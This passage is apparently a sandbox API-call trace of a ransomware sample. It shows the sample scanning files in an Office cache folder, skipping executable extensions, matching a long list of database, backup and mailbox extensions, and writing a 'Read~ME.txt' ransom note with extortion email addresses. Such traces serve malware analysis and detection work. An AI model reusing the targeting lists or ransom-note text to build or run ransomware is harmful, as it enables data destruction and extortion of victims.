	[0076.178] lstrlenW (lpString=".scr") returned 4
	[0076.178] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0076.178] lstrlenW (lpString=".cmd") returned 4
	[0076.178] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0076.178] lstrlenW (lpString=".dll") returned 4
	[0076.178] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0076.178] lstrlenW (lpString=".bat") returned 4
	[0076.178] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0076.178] lstrlenW (lpString=".cpl") returned 4
	[0076.178] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0076.178] lstrlenW (lpString=".sys") returned 4
	[0076.179] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0076.179] lstrlenW (lpString=".msc") returned 4
	[0076.179] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0076.179] lstrlenW (lpString=".com") returned 4
	[0076.179] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0076.179] lstrlenW (lpString=".lnk") returned 4
	[0076.179] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0076.179] lstrlenW (lpString=".msp") returned 4
	[0076.179] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0076.179] lstrlenW (lpString=".pif") returned 4
	[0076.179] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0076.179] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.179] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0076.179] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a72f8 | out: hHeap=0x300000) returned 1
	[0076.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0076.179] RtlWakeConditionVariable () returned 0x365f70
	[0076.179] GetCurrentThreadId () returned 0xaf0
	[0076.179] GetCurrentThreadId () returned 0xaf0
	[0076.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7390 | out: hHeap=0x300000) returned 1
	[0076.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faac0 | out: hHeap=0x300000) returned 1
	[0076.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7390
	[0076.179] lstrlenW (lpString=".scr") returned 4
	[0076.179] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0076.179] lstrlenW (lpString=".cmd") returned 4
	[0076.179] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0076.180] lstrlenW (lpString=".dll") returned 4
	[0076.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0076.180] lstrlenW (lpString=".bat") returned 4
	[0076.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0076.180] lstrlenW (lpString=".cpl") returned 4
	[0076.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0076.180] lstrlenW (lpString=".sys") returned 4
	[0076.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0076.180] lstrlenW (lpString=".msc") returned 4
	[0076.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0076.180] lstrlenW (lpString=".com") returned 4
	[0076.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0076.180] lstrlenW (lpString=".lnk") returned 4
	[0076.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0076.180] lstrlenW (lpString=".msp") returned 4
	[0076.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0076.180] lstrlenW (lpString=".pif") returned 4
	[0076.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0076.180] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0076.180] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7390 | out: hHeap=0x300000) returned 1
	[0076.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0076.180] RtlWakeConditionVariable () returned 0x365f70
	[0076.180] GetCurrentThreadId () returned 0xaf0
	[0076.180] GetCurrentThreadId () returned 0xaf0
	[0076.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0076.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a46c0 | out: hHeap=0x300000) returned 1
	[0076.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faaf8 | out: hHeap=0x300000) returned 1
	[0076.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a46c0
	[0076.181] lstrlenW (lpString=".scr") returned 4
	[0076.181] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll", lpSrch=".scr") returned 0x0
	[0076.181] lstrlenW (lpString=".cmd") returned 4
	[0076.181] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll", lpSrch=".cmd") returned 0x0
	[0076.181] lstrlenW (lpString=".dll") returned 4
	[0076.181] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll", lpSrch=".dll") returned=".dll"
	[0076.181] lstrlenW (lpString=".dll") returned 4
	[0076.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a46c0 | out: hHeap=0x300000) returned 1
	[0076.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0076.181] RtlWakeConditionVariable () returned 0x365f70
	[0076.181] GetCurrentThreadId () returned 0xaf0
	[0076.181] GetCurrentThreadId () returned 0xaf0
	[0076.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0076.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4778 | out: hHeap=0x300000) returned 1
	[0076.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fab30 | out: hHeap=0x300000) returned 1
	[0076.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4778
	[0076.181] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0076.181] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0076.181] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0076.183] CloseHandle (hObject=0x128) returned 1
	[0076.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4778 | out: hHeap=0x300000) returned 1
	[0076.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0076.183] RtlWakeConditionVariable () returned 0x365f70
	[0076.183] GetCurrentThreadId () returned 0xaf0
	[0076.183] GetCurrentThreadId () returned 0xaf0
	[0076.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0076.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7e28 | out: hHeap=0x300000) returned 1
	[0076.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fab68 | out: hHeap=0x300000) returned 1
	[0076.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8020
	[0076.281] lstrlenW (lpString=".scr") returned 4
	[0076.281] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".scr") returned 0x0
	[0076.292] lstrlenW (lpString=".cmd") returned 4
	[0076.292] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".cmd") returned 0x0
	[0076.292] lstrlenW (lpString=".dll") returned 4
	[0076.292] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".dll") returned 0x0
	[0076.292] lstrlenW (lpString=".bat") returned 4
	[0076.292] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".bat") returned 0x0
	[0076.292] lstrlenW (lpString=".cpl") returned 4
	[0076.292] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".cpl") returned 0x0
	[0076.292] lstrlenW (lpString=".sys") returned 4
	[0076.293] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".sys") returned 0x0
	[0076.293] lstrlenW (lpString=".msc") returned 4
	[0076.293] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".msc") returned 0x0
	[0076.293] lstrlenW (lpString=".com") returned 4
	[0076.293] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".com") returned 0x0
	[0076.293] lstrlenW (lpString=".lnk") returned 4
	[0076.293] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".lnk") returned 0x0
	[0076.293] lstrlenW (lpString=".msp") returned 4
	[0076.293] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".msp") returned 0x0
	[0076.293] lstrlenW (lpString=".pif") returned 4
	[0076.293] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".pif") returned 0x0
	[0076.293] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.293] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0076.293] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0076.319] lstrlenW (lpString=".sqb") returned 4
	[0076.319] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".sqb") returned 0x0
	[0076.319] lstrlenW (lpString=".ost") returned 4
	[0076.319] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".ost") returned 0x0
	[0076.319] lstrlenW (lpString=".txt") returned 4
	[0076.319] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".txt") returned 0x0
	[0076.319] lstrlenW (lpString=".mdt") returned 4
	[0076.319] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".mdt") returned 0x0
	[0076.319] lstrlenW (lpString=".BDB") returned 4
	[0076.319] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".BDB") returned 0x0
	[0076.319] lstrlenW (lpString=".eql") returned 4
	[0076.319] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".eql") returned 0x0
	[0076.319] lstrlenW (lpString=".DBF") returned 4
	[0076.319] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".DBF") returned 0x0
	[0076.319] lstrlenW (lpString=".EQL") returned 4
	[0076.319] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".EQL") returned 0x0
	[0076.319] lstrlenW (lpString=".FDB") returned 4
	[0076.319] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".FDB") returned 0x0
	[0076.319] lstrlenW (lpString=".EDB") returned 4
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".EDB") returned 0x0
	[0076.320] lstrlenW (lpString=".DACPAC") returned 7
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".DACPAC") returned 0x0
	[0076.320] lstrlenW (lpString=".VHD") returned 4
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".VHD") returned 0x0
	[0076.320] lstrlenW (lpString=".DBV") returned 4
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".DBV") returned 0x0
	[0076.320] lstrlenW (lpString=".dacpac") returned 7
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".dacpac") returned 0x0
	[0076.320] lstrlenW (lpString=".sdf") returned 4
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".sdf") returned 0x0
	[0076.320] lstrlenW (lpString=".accdb") returned 6
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".accdb") returned 0x0
	[0076.320] lstrlenW (lpString=".DBX") returned 4
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".DBX") returned 0x0
	[0076.320] lstrlenW (lpString=".MDT") returned 4
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".MDT") returned 0x0
	[0076.320] lstrlenW (lpString=".SQB") returned 4
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".SQB") returned 0x0
	[0076.320] lstrlenW (lpString=".vhd") returned 4
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".vhd") returned 0x0
	[0076.320] lstrlenW (lpString=".bac") returned 4
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".bac") returned 0x0
	[0076.320] lstrlenW (lpString=".mdf") returned 4
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".mdf") returned 0x0
	[0076.320] lstrlenW (lpString=".BAK") returned 4
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".BAK") returned 0x0
	[0076.320] lstrlenW (lpString=".BAC") returned 4
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".BAC") returned 0x0
	[0076.320] lstrlenW (lpString=".dbs") returned 4
	[0076.320] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".dbs") returned 0x0
	[0076.321] lstrlenW (lpString=".vhdx") returned 5
	[0076.321] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".vhdx") returned 0x0
	[0076.321] lstrlenW (lpString=".NDF") returned 4
	[0076.321] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".NDF") returned 0x0
	[0076.321] lstrlenW (lpString=".dat") returned 4
	[0076.321] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".dat") returned 0x0
	[0076.321] lstrlenW (lpString=".DBS") returned 4
	[0076.321] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".DBS") returned 0x0
	[0076.321] lstrlenW (lpString=".CKP") returned 4
	[0076.321] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".CKP") returned 0x0
	[0076.321] lstrlenW (lpString=".edb") returned 4
	[0076.321] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".edb") returned 0x0
	[0076.321] lstrlenW (lpString=".PST") returned 4
	[0076.321] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".PST") returned 0x0
	[0076.321] lstrlenW (lpString=".dbf") returned 4
	[0076.321] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".dbf") returned 0x0
	[0076.321] lstrlenW (lpString=".SQL") returned 4
	[0076.321] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".SQL") returned 0x0
	[0076.321] lstrlenW (lpString=".pst") returned 4
	[0076.321] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".pst") returned 0x0
	[0076.321] lstrlenW (lpString=".dbv") returned 4
	[0076.321] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".dbv") returned 0x0
	[0076.321] lstrlenW (lpString=".SDF") returned 4
	[0076.321] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".SDF") returned 0x0
	[0076.321] lstrlenW (lpString=".dtxs") returned 5
	[0076.321] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".dtxs") returned 0x0
	[0076.321] lstrlenW (lpString=".db3") returned 4
	[0076.321] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".db3") returned 0x0
	[0076.322] lstrlenW (lpString=".OST") returned 4
	[0076.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".OST") returned 0x0
	[0076.322] lstrlenW (lpString=".dbx") returned 4
	[0076.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".dbx") returned 0x0
	[0076.322] lstrlenW (lpString=".DB3") returned 4
	[0076.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".DB3") returned 0x0
	[0076.322] lstrlenW (lpString=".DAT") returned 4
	[0076.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".DAT") returned 0x0
	[0076.322] lstrlenW (lpString=".VHDX") returned 5
	[0076.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".VHDX") returned 0x0
	[0076.322] lstrlenW (lpString=".ndf") returned 4
	[0076.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".ndf") returned 0x0
	[0076.322] lstrlenW (lpString=".DB") returned 3
	[0076.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".DB") returned 0x0
	[0076.322] lstrlenW (lpString=".sql") returned 4
	[0076.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".sql") returned 0x0
	[0076.322] lstrlenW (lpString=".MYD") returned 4
	[0076.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".MYD") returned 0x0
	[0076.322] lstrlenW (lpString=".DBT") returned 4
	[0076.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".DBT") returned 0x0
	[0076.322] lstrlenW (lpString=".ACCDB") returned 6
	[0076.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".ACCDB") returned 0x0
	[0076.322] lstrlenW (lpString=".fdb") returned 4
	[0076.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".fdb") returned 0x0
	[0076.322] lstrlenW (lpString=".bak") returned 4
	[0076.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".bak") returned 0x0
	[0076.322] lstrlenW (lpString=".myd") returned 4
	[0076.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".myd") returned 0x0
	[0076.322] lstrlenW (lpString=".DTXS") returned 5
	[0076.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".DTXS") returned 0x0
	[0076.323] lstrlenW (lpString=".ckp") returned 4
	[0076.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".ckp") returned 0x0
	[0076.323] lstrlenW (lpString=".dbt") returned 4
	[0076.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".dbt") returned 0x0
	[0076.323] lstrlenW (lpString=".db") returned 3
	[0076.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".db") returned 0x0
	[0076.323] lstrlenW (lpString=".TXT") returned 4
	[0076.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".TXT") returned 0x0
	[0076.323] lstrlenW (lpString=".MDF") returned 4
	[0076.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".MDF") returned 0x0
	[0076.323] lstrlenW (lpString=".bdb") returned 4
	[0076.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpSrch=".bdb") returned 0x0
